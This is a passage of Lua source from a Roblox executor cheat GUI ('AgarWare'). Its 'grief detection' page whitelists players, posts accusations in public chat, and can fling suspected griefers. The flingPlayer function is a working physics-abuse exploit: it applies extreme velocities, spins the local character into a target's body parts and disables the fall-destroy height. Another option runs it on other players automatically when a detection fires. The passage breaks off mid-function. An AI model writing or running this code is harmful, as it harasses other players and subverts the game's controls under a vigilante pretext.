local size = WListLabelHelp.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) WListLabelHelp.MouseLeave:Connect(function() tooltipFrame.Visible = false end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) end; task.spawn(C_21c); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListRow.WListScript local function C_220() local script = G2L["220"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer repeat task.wait() until shared.DropdownMaster local function updateWhitelist(selected) -- Always include LocalPlayer selected[LocalPlayer.Name] = true local names = {} for name, _ in pairs(selected) do table.insert(names, name) end script.Parent:SetAttribute("Whitelist", table.concat(names, ",")) shared.GriefWhitelist = selected end shared.DropdownMaster.create({ dropdown = script.Parent:WaitForChild("WListDropdown"), multiSelect = true, showIcons = true, initialSelection = {[LocalPlayer.Name] = true}, -- Start with LocalPlayer selected onMultiSelectChange = function(selected) updateWhitelist(selected) end, bottomButtons = { { text = "Select All", onClick = function(state) -- Clear and select all for k in pairs(state.selectedPlayers) do state.selectedPlayers[k] = nil end for _, p in pairs(Players:GetPlayers()) do state.selectedPlayers[p.Name] = true end local count = 0 for _ in pairs(state.selectedPlayers) do count = count + 1 end state.mainLabel.Text = count .. " Players Selected" state.notifyChange() state.rebuildList() end }, { text = "Unselect All", onClick = function(state) -- Clear all except LocalPlayer for k in pairs(state.selectedPlayers) do state.selectedPlayers[k] = nil end state.selectedPlayers[LocalPlayer.Name] = true state.mainLabel.Text = "1 Player Selected" state.notifyChange() state.rebuildList() end }, { text = "Show Display", onClick = function(state) state.setShowDisplay(not state.showDisplay) state.button.Text = state.showDisplay and "Show Username" or "Show Display" state.rebuildList() end }, { text = "Select Admin", onClick = function(state) local chosenTeam = game:GetService("Teams"):FindFirstChild("Chosen") if not chosenTeam then return end for _, p in pairs(Players:GetPlayers()) do if p.Team == chosenTeam then state.selectedPlayers[p.Name] = true break end end local count = 0 for _ in pairs(state.selectedPlayers) do count = count + 1 end state.mainLabel.Text = count .. " Players Selected" state.notifyChange() state.rebuildList() end } } }) -- Auto-whitelist LocalPlayer on start local initialWhitelist = {[LocalPlayer.Name] = true} updateWhitelist(initialWhitelist) end; task.spawn(C_220); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow.GriefInGameScript local function C_223() local script = G2L["223"]; local Players = game:GetService("Players") -------------------------------------------------- -- STRUCTURE -------------------------------------------------- local GriefInGameRow = script.Parent local GSettingsGroup = GriefInGameRow.Parent local RightSide = GSettingsGroup.Parent local Page = RightSide.Parent local ContentArea = Page.Parent local MainFrame = ContentArea.Parent local ScreenGui = MainFrame.Parent local GriefInGameTickBox = GriefInGameRow:WaitForChild("GriefInGameTickBox") local GriefInGameAccent = GSettingsGroup.Parent.Parent.TCODetectionLeftSide.EnableGroup:WaitForChild("EnableAccentColor") -------------------------------------------------- -- ATTRIBUTE + SHARED SYNC -------------------------------------------------- if ScreenGui:GetAttribute("GriefInGameEnabled") == nil then ScreenGui:SetAttribute("GriefInGameEnabled", true) end local function isEnabled() return ScreenGui:GetAttribute("GriefInGameEnabled") == true end local function setState(state) ScreenGui:SetAttribute("GriefInGameEnabled", state) -- Sync to shared so grief detection script can read it shared.GriefInGameEnabled = state if state then GriefInGameTickBox.BackgroundColor3 = GriefInGameAccent.BackgroundColor3 print("[Grief InGame] ON - deleting offline player bricks counts as griefing") else GriefInGameTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) print("[Grief InGame] OFF - only deleting bricks of players currently in game counts as griefing") end end -------------------------------------------------- -- CLICK -------------------------------------------------- GriefInGameTickBox.MouseButton1Click:Connect(function() setState(not isEnabled()) end) -------------------------------------------------- -- AUTO ENABLE ON EXECUTE -------------------------------------------------- setState(true) end; task.spawn(C_223); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow.GriefEnlightenScript local function C_227() local script = G2L["227"]; local Players = game:GetService("Players") -------------------------------------------------- -- STRUCTURE -------------------------------------------------- local GriefEnlightenRow = script.Parent local GSettingsGroup = GriefEnlightenRow.Parent local RightSide = GSettingsGroup.Parent local Page = RightSide.Parent local ContentArea = Page.Parent local MainFrame = ContentArea.Parent local ScreenGui = MainFrame.Parent local GriefEnlightenTickBox = GriefEnlightenRow:WaitForChild("GriefEnlightenTickBox") local GriefEnlightenAccent = GSettingsGroup.Parent.Parent.TCODetectionLeftSide.EnableGroup:WaitForChild("EnableAccentColor") -------------------------------------------------- -- ATTRIBUTE + SHARED SYNC -------------------------------------------------- if ScreenGui:GetAttribute("GriefEnlightenEnabled") == nil then ScreenGui:SetAttribute("GriefEnlightenEnabled", true) end local function isEnabled() return ScreenGui:GetAttribute("GriefEnlightenEnabled") == true end local function setState(state) ScreenGui:SetAttribute("GriefEnlightenEnabled", state) -- Sync to shared so the grief detection script can read it shared.GriefEnlightenEnabled = state if state then GriefEnlightenTickBox.BackgroundColor3 = GriefEnlightenAccent.BackgroundColor3 print("[Grief Enlighten] ON - detecting everyone") else GriefEnlightenTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) print("[Grief Enlighten] OFF - only detecting players without The Arkenstone") end end -------------------------------------------------- -- CLICK -------------------------------------------------- GriefEnlightenTickBox.MouseButton1Click:Connect(function() setState(not isEnabled()) end) -------------------------------------------------- -- AUTO ENABLE -------------------------------------------------- setState(true) end; task.spawn(C_227); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefChanger.CooldownScript local function C_22d() local script = G2L["22d"]; local textBox = script.Parent -- CooldownGriefChanger TextBox -- Show current cooldown on load and print it shared.GriefCooldown = shared.GriefCooldown or 30 textBox.Text = tostring(shared.GriefCooldown) print("[Grief Cooldown] Set to", shared.GriefCooldown) textBox.FocusLost:Connect(function(enterPressed) local num = tonumber(textBox.Text) if num and num >= 0 then -- Allow 0 and above shared.GriefCooldown = num if num == 0 then print("[Grief Cooldown] Set to 0 - no cooldown active") else print("[Grief Cooldown] Updated to", num) end else -- Reset to current valid value if bad input (letters, negatives) textBox.Text = tostring(shared.GriefCooldown) print("[Grief Cooldown] Invalid input, keeping", shared.GriefCooldown) end end) end; task.spawn(C_22d); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishScript local function C_230() local script = G2L["230"]; local PunishGroup = script.Parent local PunishMinimize = PunishGroup.PunishTitle.PunishMinimize local function getRows() local rows = {} for _, child in ipairs(PunishGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = PunishGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) PunishMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then PunishGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end PunishMinimize.Text = "+" else PunishGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end PunishMinimize.Text = "-" end end) end; task.spawn(C_230); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishToolTip local function C_231() local script = G2L["231"]; -- ============================================================ -- GRIEF TICKBOX TOOLTIP SCRIPT -- Tooltips for grief tickboxes only -- ============================================================ local Group = script.Parent -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local ScreenGui = getScreenGui() if not ScreenGui then return end -- ============================================================ -- FIND TICKBOXES -- ============================================================ local function findDescendant(name) for _, v in pairs(ScreenGui:GetDescendants()) do if v.Name == name then return v end end end local FlingGriefTickBox = findDescendant("FlingGriefTickBox") local AlertGriefTickBox = findDescendant("AlertGriefTickBox") local ConfirmGriefTickBox = findDescendant("ConfirmGriefTickBox") local SFXGriefTickBox = findDescendant("SFXGriefTickBox") local FlingExploitTickBox = findDescendant("FlingExploitTickBox") -- ============================================================ -- TOOLTIP BUILDER -- ============================================================ local function makeTooltip(text) local frame = Instance.new("Frame") frame.BackgroundColor3 = Color3.fromRGB(16,16,16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = ScreenGui local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57,57,57) stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0,6) padding.PaddingBottom = UDim.new(0,6) padding.PaddingLeft = UDim.new(0,6) padding.PaddingRight = UDim.new(0,6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1,1,1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0,200,0,0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame return frame end local function hookTooltip(button, tooltipFrame) if not button then return end button.MouseEnter:Connect(function() local abs = button.AbsolutePosition local size = button.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) button.MouseLeave:Connect(function() tooltipFrame.Visible = false end) end -- ============================================================ -- CREATE TOOLTIPS -- ============================================================ local flingTooltip = makeTooltip( "Automatically flings players detected griefing." ) local alertTooltip = makeTooltip( "Sends an alert when a player is detected griefing." ) local confirmTooltip = makeTooltip( "Makes you pov the player that triggered the detection and gives you a list of buttons to punish the player or cancel the detection." ) local sfxTooltip = makeTooltip( "Plays an alert sound when a player is detected griefing." ) local flingExploitTooltip = makeTooltip( "Automatically flings players detected using exploits to grief." ) -- ============================================================ -- HOOK THEM -- ============================================================ hookTooltip(FlingGriefTickBox, flingTooltip) hookTooltip(AlertGriefTickBox, alertTooltip) hookTooltip(ConfirmGriefTickBox, confirmTooltip) hookTooltip(SFXGriefTickBox, sfxTooltip) hookTooltip(FlingExploitTickBox, flingExploitTooltip) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then flingTooltip:Destroy() alertTooltip:Destroy() confirmTooltip:Destroy() flingExploitTooltip:Destroy() end end) end; task.spawn(C_231); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow.AlertGriefScript local function C_237() local script = G2L["237"]; local Players = game:GetService("Players") local TextChatService = game:GetService("TextChatService") local AlertGriefRow = script.Parent local PunishGroup = AlertGriefRow.Parent local PunishAccentColor = PunishGroup:WaitForChild("PunishAccentColor") local AlertGriefTickBox = AlertGriefRow:WaitForChild("AlertGriefTickBox") -------------------------------------------------- -- ENABLE STATE -------------------------------------------------- AlertGriefTickBox:SetAttribute("Enabled", true) local function updateVisual() if AlertGriefTickBox:GetAttribute("Enabled") then AlertGriefTickBox.BackgroundColor3 = PunishAccentColor.BackgroundColor3 else AlertGriefTickBox.BackgroundColor3 = Color3.fromRGB(0,0,0) end end AlertGriefTickBox.MouseButton1Click:Connect(function() local state = not AlertGriefTickBox:GetAttribute("Enabled") AlertGriefTickBox:SetAttribute("Enabled", state) updateVisual() end) updateVisual() -------------------------------------------------- -- ENSURE EVENTS EXIST -------------------------------------------------- shared.GriefEvent = shared.GriefEvent or Instance.new("BindableEvent") shared.DeleteGriefEvent = shared.DeleteGriefEvent or Instance.new("BindableEvent") shared.PaintGriefEvent = shared.PaintGriefEvent or Instance.new("BindableEvent") shared.BuildGriefEvent = shared.BuildGriefEvent or Instance.new("BindableEvent") shared.ExploitGriefEvent = shared.ExploitGriefEvent or Instance.new("BindableEvent") shared.BoomboxLoudEvent = shared.BoomboxLoudEvent or Instance.new("BindableEvent") -------------------------------------------------- -- CHAT FUNCTION -------------------------------------------------- local function sendChat(message) if shared.sendChat then shared.sendChat(message) else TextChatService.TextChannels.RBXGeneral:SendAsync(message) end end -------------------------------------------------- -- ALERT MESSAGES -------------------------------------------------- local griefMessages = { ["delete"] = "🚨 %s has been detected deleting another player's blocks", ["paint"] = "🚨 %s has been detected painting another player's blocks", ["build"] = "🚨 %s is building too fast", ["exploit"] = "🚨 %s has been detected using exploits to grief", } -------------------------------------------------- -- LISTEN FOR GRIEF EVENT -------------------------------------------------- shared.GriefEvent.Event:Connect(function(player, griefType) if not AlertGriefTickBox:GetAttribute("Enabled") then return end local template = griefMessages[griefType] if not template then return end sendChat(string.format(template, player.DisplayName)) end) end; task.spawn(C_237); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow.ConfirmGriefScript local function C_23b() local script = G2L["23b"]; local Players = game:GetService("Players") local RunService = game:GetService("RunService") local LocalPlayer = Players.LocalPlayer -------------------------------------------------- -- GUI STRUCTURE -------------------------------------------------- local ConfirmGriefRow = script.Parent local PunishGroup = ConfirmGriefRow.Parent local PunishAccentColor = PunishGroup:WaitForChild("PunishAccentColor") local ConfirmGriefTickBox = ConfirmGriefRow:WaitForChild("ConfirmGriefTickBox") -------------------------------------------------- -- SCREEN GUI -------------------------------------------------- local ScreenGui = script:FindFirstAncestorOfClass("ScreenGui") local ConfirmGriefFrame = ScreenGui:WaitForChild("ConfirmGriefFrame") local ConfirmTimer = ConfirmGriefFrame:WaitForChild("ConfirmTimer") local GriefTargetLabel = ConfirmGriefFrame:WaitForChild("GriefTargetLabel") local FlingConfirm = ConfirmGriefFrame:WaitForChild("FlingConfirm") local AlertConfirm = ConfirmGriefFrame:WaitForChild("AlertConfirm") local CancelConfirm = ConfirmGriefFrame:WaitForChild("CancelConfirm") local FalseAlertConfirm = ConfirmGriefFrame:WaitForChild("FalseAlertConfirm") local PauseConfirm = ConfirmGriefFrame:WaitForChild("PauseConfirm") ConfirmGriefFrame.Visible = false -------------------------------------------------- -- ENABLE STATE -------------------------------------------------- ConfirmGriefTickBox:SetAttribute("Enabled", false) local function updateVisual() if ConfirmGriefTickBox:GetAttribute("Enabled") then ConfirmGriefTickBox.BackgroundColor3 = PunishAccentColor.BackgroundColor3 else ConfirmGriefTickBox.BackgroundColor3 = Color3.fromRGB(0,0,0) end end ConfirmGriefTickBox.MouseButton1Click:Connect(function() local currentlyEnabled = ConfirmGriefTickBox:GetAttribute("Enabled") if currentlyEnabled then ConfirmGriefTickBox:SetAttribute("Enabled", false) PunishGroup:SetAttribute("ActivePunishMode", nil) else PunishGroup:SetAttribute("ActivePunishMode", "Confirm") ConfirmGriefTickBox:SetAttribute("Enabled", true) end updateVisual() end) PunishGroup:GetAttributeChangedSignal("ActivePunishMode"):Connect(function() local mode = PunishGroup:GetAttribute("ActivePunishMode") if mode ~= "Confirm" and ConfirmGriefTickBox:GetAttribute("Enabled") then ConfirmGriefTickBox:SetAttribute("Enabled", false) updateVisual() end end) updateVisual() -------------------------------------------------- -- CAMERA -------------------------------------------------- local cam = workspace.CurrentCamera local function spectatePlayer(player) task.spawn(function() for i = 1, 10 do if player and player.Character then local hum = player.Character:FindFirstChildOfClass("Humanoid") if hum then cam.CameraSubject = hum return end end task.wait(0.1) end end) end local function spectateBack() if LocalPlayer.Character then local hum = LocalPlayer.Character:FindFirstChildOfClass("Humanoid") if hum then cam.CameraSubject = hum end end end -------------------------------------------------- -- FLING STATE -------------------------------------------------- local flingCancelled = false -------------------------------------------------- -- FLING -------------------------------------------------- local function flingPlayer(TargetPlayer) local Character = LocalPlayer.Character local Humanoid = Character and Character:FindFirstChildOfClass("Humanoid") local RootPart = Humanoid and Humanoid.RootPart local TCharacter = TargetPlayer.Character if not TCharacter then return false end local THumanoid = TCharacter:FindFirstChildOfClass("Humanoid") local TRootPart = THumanoid and THumanoid.RootPart local THead = TCharacter:FindFirstChild("Head") local Accessory = TCharacter:FindFirstChildOfClass("Accessory") local Handle = Accessory and Accessory:FindFirstChild("Handle") if not (Character and Humanoid and RootPart) then return false end if RootPart.Velocity.Magnitude < 50 then getgenv().OldPos = RootPart.CFrame end if THumanoid and THumanoid.Sit then return false end if THead then cam.CameraSubject = THead elseif Handle then cam.CameraSubject = Handle elseif THumanoid then cam.CameraSubject = THumanoid end if not TCharacter:FindFirstChildWhichIsA("BasePart") then return false end local flinged = false flingCancelled = false local BV = Instance.new("BodyVelocity") BV.Name = "ConfirmFlingVel" BV.Parent = RootPart BV.Velocity = Vector3.new(900000000, 900000000, 900000000) BV.MaxForce = Vector3.new(math.huge, math.huge, math.huge) local FPos = function(BasePart, Pos, Ang) if flingCancelled then return end RootPart.CFrame = CFrame.new(BasePart.Position) * Pos * Ang Character:SetPrimaryPartCFrame(CFrame.new(BasePart.Position) * Pos * Ang) RootPart.Velocity = Vector3.new(90000000, 90000000 * 10, 90000000) RootPart.RotVelocity = Vector3.new(900000000, 900000000, 900000000) end local SFBasePart = function(BasePart) local Angle = 0 repeat if flingCancelled then break end if RootPart and THumanoid then if BasePart.Velocity.Magnitude < 50 then Angle = Angle + 100 FPos(BasePart, CFrame.new(0, 1.5, 0) + ((THumanoid.MoveDirection * BasePart.Velocity.Magnitude) / 1.25), CFrame.Angles(math.rad(Angle), 0, 0)); task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0) + ((THumanoid.MoveDirection * BasePart.Velocity.Magnitude) / 1.25), CFrame.Angles(math.rad(Angle), 0, 0)); task.wait() FPos(BasePart, CFrame.new(2.25, 1.5, -2.25) + ((THumanoid.MoveDirection * BasePart.Velocity.Magnitude) / 1.25), CFrame.Angles(math.rad(Angle), 0, 0)); task.wait() FPos(BasePart, CFrame.new(-2.25, -1.5, 2.25) + ((THumanoid.MoveDirection * BasePart.Velocity.Magnitude) / 1.25), CFrame.Angles(math.rad(Angle), 0, 0)); task.wait() FPos(BasePart, CFrame.new(0, 1.5, 0) + THumanoid.MoveDirection, CFrame.Angles(math.rad(Angle), 0, 0)); task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0) + THumanoid.MoveDirection, CFrame.Angles(math.rad(Angle), 0, 0)); task.wait() else FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0)); task.wait() FPos(BasePart, CFrame.new(0, -1.5, -THumanoid.WalkSpeed), CFrame.Angles(0, 0, 0)); task.wait() FPos(BasePart, CFrame.new(0, 1.5, THumanoid.WalkSpeed), CFrame.Angles(math.rad(90), 0, 0)); task.wait() FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0)); task.wait() FPos(BasePart, CFrame.new(0, -1.5, -TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(0, 0, 0)); task.wait() FPos(BasePart, CFrame.new(0, 1.5, TRootPart.Velocity.Magnitude / 1.25), CFrame.Angles(math.rad(90), 0, 0)); task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(90), 0, 0)); task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0)); task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(math.rad(-90), 0, 0)); task.wait() FPos(BasePart, CFrame.new(0, -1.5, 0), CFrame.Angles(0, 0, 0)); task.wait() end else break end until flingCancelled or (BasePart.Velocity.Magnitude > 500) or (BasePart.Parent ~= TargetPlayer.Character) or (TargetPlayer.Parent ~= Players) or THumanoid.Sit or (Humanoid.Health <= 0) if BasePart.Velocity.Magnitude > 500 then flinged = true end end local savedFPDH = workspace.FallenPartsDestroyHeight workspace.FallenPartsDestroyHeight = math.huge * -1 Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, false) if TRootPart and THead then if (TRootPart.CFrame.p - THead.CFrame.p).Magnitude > 5 then SFBasePart(THead) else SFBasePart(TRootPart) end elseif TRootPart and not THead then SFBasePart(TRootPart) elseif not TRootPart and THead then SFBasePart(THead) elseif not TRootPart and not THead and Accessory and Handle then SFBasePart(Handle) end BV:Destroy() Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated, true) cam.CameraSubject = Humanoid if getgenv().OldPos then repeat RootPart.CFrame = getgenv().OldPos * CFrame.new(0, 0.5, 0) Character:SetPrimaryPartCFrame(getgenv().OldPos * CFrame.new(0, 0.5, 0)) Humanoid:ChangeState("GettingUp") for _, part in ipairs(Character:GetChildren()) do if part:IsA("BasePart") then part.Velocity = Vector3.new() part.RotVelocity = Vector3.new() end end task.wait() until (RootPart.Position - getgenv().OldPos.p).Magnitude < 25 end workspace.FallenPartsDestroyHeight = savedFPDH return flinged end -------------------------------------------------- -- STATE -------------------------------------------------- local currentTarget = nil local currentGriefType = nil local currentIsBoombox = false local timerConn = nil local isShowing = false local isFlingActive = false local isFlingDone = false local timerPaused = false local griefQueue = {} local queueProcessing = false -------------------------------------------------- -- GRIEF TYPE LABELS & MESSAGES -------------------------------------------------- local griefTypeLabels = { ["delete"] = "DELETE DETECTION", ["paint"] = "PAINT DETECTION", ["build"] = "BUILD SPAM", ["exploit"] = "EXPLOIT DETECTION", ["boombox"] = "LOUD BOOMBOX", } local alertMessages = { ["delete"] = "⚠️%s IS GRIEVING", ["paint"] = "⚠️%s IS GRIEF PAINTING", ["build"] = "⚠️%s IS SPAMMING BLOCKS", ["exploit"] = "⚠️%s IS USING EXPLOITS TO GRIEF", } local flingMessages = { ["delete"] = "⚠️%s was grieving and got flung", ["paint"] = "⚠️%s was paint griefing and got flung", ["build"] = "⚠️%s was spamming blocks and got flung", ["exploit"] = "⚠️%s was using exploits to grief and got flung", } -------------------------------------------------- -- BUTTON VISIBILITY HELPER -------------------------------------------------- local function setButtonsForBoombox(isBoombox) AlertConfirm.Visible = not isBoombox FalseAlertConfirm.Visible = not isBoombox end -------------------------------------------------- -- SHOW (forward declaration) -------------------------------------------------- local showConfirm -------------------------------------------------- -- HIDE -------------------------------------------------- local function hideConfirm(clearQueue) isShowing = false isFlingActive = false isFlingDone = false timerPaused = false currentTarget = nil currentGriefType = nil currentIsBoombox = false ConfirmGriefFrame.Visible = false setButtonsForBoombox(false) spectateBack() PauseConfirm.Text = "PAUSE TIMER" if shared.StopGriefSFX then shared.StopGriefSFX() end if timerConn then timerConn:Disconnect() timerConn = nil end if clearQueue then griefQueue = {} queueProcessing = false return end if #griefQueue > 0 then local nextItem = table.remove(griefQueue, 1) task.wait(0.3) showConfirm(nextItem.player, nextItem.griefType, nextItem.isBoombox) else queueProcessing = false end end -------------------------------------------------- -- SHOW -------------------------------------------------- showConfirm = function(player, griefType, isBoombox) if isShowing then for _, item in ipairs(griefQueue) do if item.player == player then return end end table.insert(griefQueue, {player = player, griefType = griefType, isBoombox = isBoombox}) return end isShowing = true isFlingDone = false queueProcessing = true currentTarget = player currentGriefType = griefType currentIsBoombox = isBoombox or false timerPaused = false PauseConfirm.Text = "PAUSE TIMER" setButtonsForBoombox(currentIsBoombox) local label = griefTypeLabels[griefType] or "GRIEFING" ConfirmGriefFrame.Visible = true GriefTargetLabel.Text = "POSSIBLE GRIEF: " .. player.DisplayName .. " | " .. label task.delay(0.1, function() if isShowing and currentTarget == player then spectatePlayer(player) end end) local timeLeft = currentIsBoombox and 10 or 20 ConfirmTimer.Text = "(" .. timeLeft .. ".0)" if timerConn then timerConn:Disconnect() end timerConn = RunService.Heartbeat:Connect(function() if not isShowing then return end if isFlingActive then return end if timerPaused then return end timeLeft -= (1/60) ConfirmTimer.Text = "(" .. string.format("%.1f", timeLeft) .. ")" if timeLeft <= 0 then hideConfirm(false) end end) end -------------------------------------------------- -- BUTTONS -------------------------------------------------- FlingConfirm.MouseButton1Click:Connect(function() if not currentTarget then return end if isFlingDone then return end if isFlingActive then flingCancelled = true return end local target = currentTarget local griefType = currentGriefType local isBoombox = currentIsBoombox isFlingActive = true flingCancelled = false FlingConfirm.Text = "CANCEL FLING" FlingConfirm.BackgroundColor3 = Color3.fromRGB(57,0,0) task.spawn(function() local success = flingPlayer(target) isFlingActive = false isFlingDone = true FlingConfirm.Text = "FLING PLAYER" FlingConfirm.BackgroundColor3 = Color3.fromRGB(22, 22, 22) if flingCancelled then isFlingDone = false return end hideConfirm(false) if success and not isBoombox and shared.sendChat then local template = flingMessages[griefType] if template then shared.sendChat(string.format(template, target.DisplayName)) end end end) end) AlertConfirm.MouseButton1Click:Connect(function() if not currentTarget then return end if shared.sendChat then local template = alertMessages[currentGriefType] or "⚠️%s IS GRIEVING" shared.sendChat(string.format(template, currentTarget.DisplayName)) end end) FalseAlertConfirm.MouseButton1Click:Connect(function() if isFlingActive then flingCancelled = true task.wait(0.1) end if shared.sendChat then shared.sendChat("❌False Alert") end hideConfirm(false) end) CancelConfirm.MouseButton1Click:Connect(function() if isFlingActive then flingCancelled = true task.wait(0.1) end hideConfirm(false) end) PauseConfirm.MouseButton1Click:Connect(function() timerPaused = not timerPaused PauseConfirm.Text = timerPaused and "UNPAUSE TIMER" or "PAUSE TIMER" end) -------------------------------------------------- -- ENSURE EVENTS EXIST -------------------------------------------------- shared.GriefEvent = shared.GriefEvent or Instance.new("BindableEvent") shared.DeleteGriefEvent = shared.DeleteGriefEvent or Instance.new("BindableEvent") shared.PaintGriefEvent = shared.PaintGriefEvent or Instance.new("BindableEvent") shared.BuildGriefEvent = shared.BuildGriefEvent or Instance.new("BindableEvent") shared.ExploitGriefEvent = shared.ExploitGriefEvent or Instance.new("BindableEvent") shared.BoomboxLoudEvent = shared.BoomboxLoudEvent or Instance.new("BindableEvent") -------------------------------------------------- -- LISTEN FOR GRIEF EVENT -------------------------------------------------- shared.GriefEvent.Event:Connect(function(player, griefType) if not player then return end local isExploit = griefType == "exploit" local autoFling = shared.FlingExploitEnabled == true if isExploit and autoFling then showConfirm(player, griefType, false) task.delay(0.1, function() if isFlingActive or isFlingDone then return end isFlingActive = true flingCancelled = false FlingConfirm.Text = "CANCEL FLING" FlingConfirm.BackgroundColor3 = Color3.fromRGB(57, 0, 0) task.spawn(function() local success = flingPlayer(player) isFlingActive = false isFlingDone = true FlingConfirm.Text = "FLING PLAYER" FlingConfirm.BackgroundColor3 = Color3.fromRGB(0, 0, 0) if not flingCancelled and success then if shared.sendChat then local msg = string.format(flingMessages[griefType] or flingMessages["delete"], player.DisplayName) shared.sendChat(msg) end end hideConfirm(false) end) end) return end if not ConfirmGriefTickBox:GetAttribute("Enabled") then return end showConfirm(player, griefType, false) end) -------------------------------------------------- -- LISTEN FOR BOOMBOX EVENT -------------------------------------------------- shared.BoomboxLoudEvent.Event:Connect(function(player) if not ConfirmGriefTickBox:GetAttribute("Enabled") then return end showConfirm(player, "boombox", true) end) -------------------------------------------------- -- CLEANUP -------------------------------------------------- script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then flingCancelled = true hideConfirm(true) end end) end; task.spawn(C_23b); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow.SFXGriefScript local function C_23f() local script = G2L["23f"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local SFXGriefRow = script.Parent local PunishGroup = SFXGriefRow.Parent local PunishAccentColor = PunishGroup:WaitForChild("PunishAccentColor") local SFXGriefTickBox = SFXGriefRow:WaitForChild("SFXGriefTickBox") -------------------------------------------------- -- ENABLE STATE -------------------------------------------------- SFXGriefTickBox:SetAttribute("Enabled", false) local function updateVisual() if SFXGriefTickBox:GetAttribute("Enabled") then SFXGriefTickBox.BackgroundColor3 = PunishAccentColor.BackgroundColor3 else SFXGriefTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) end end SFXGriefTickBox.MouseButton1Click:Connect(function() local state = not SFXGriefTickBox:GetAttribute("Enabled") SFXGriefTickBox:SetAttribute("Enabled", state) updateVisual() end) updateVisual() -------------------------------------------------- -- SOUND -------------------------------------------------- local sound = Instance.new("Sound") sound.SoundId = "rbxassetid://138817522589884" sound.Volume = 1 sound.Parent = workspace -------------------------------------------------- -- STOP FUNCTION (called by ConfirmGriefScript on hide) -- Only stops if no new detection came in recently -------------------------------------------------- local lastPlayedAt = 0 shared.StopGriefSFX = function() -- if sound was played less than 1 second ago, don't stop it -- so a new detection right before hide doesn't get cut off if tick() - lastPlayedAt > 1 then sound:Stop() end end -------------------------------------------------- -- ENSURE EVENTS EXIST -------------------------------------------------- shared.GriefEvent = shared.GriefEvent or Instance.new("BindableEvent") shared.DeleteGriefEvent = shared.DeleteGriefEvent or Instance.new("BindableEvent") shared.PaintGriefEvent = shared.PaintGriefEvent or Instance.new("BindableEvent") shared.BuildGriefEvent = shared.BuildGriefEvent or Instance.new("BindableEvent") shared.ExploitGriefEvent = shared.ExploitGriefEvent or Instance.new("BindableEvent") shared.BoomboxLoudEvent = shared.BoomboxLoudEvent or Instance.new("BindableEvent") -------------------------------------------------- -- LISTEN -------------------------------------------------- local function playSound() if not SFXGriefTickBox:GetAttribute("Enabled") then return end lastPlayedAt = tick() sound:Stop() sound:Play() end shared.GriefEvent.Event:Connect(function(player, griefType) playSound() end) shared.BoomboxLoudEvent.Event:Connect(function(player) playSound() end) end; task.spawn(C_23f); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow.FlingExploitScript local function C_243() local script = G2L["243"]; local Players = game:GetService("Players") local FlingExploitRow = script.Parent local PunishGroup = FlingExploitRow.Parent local 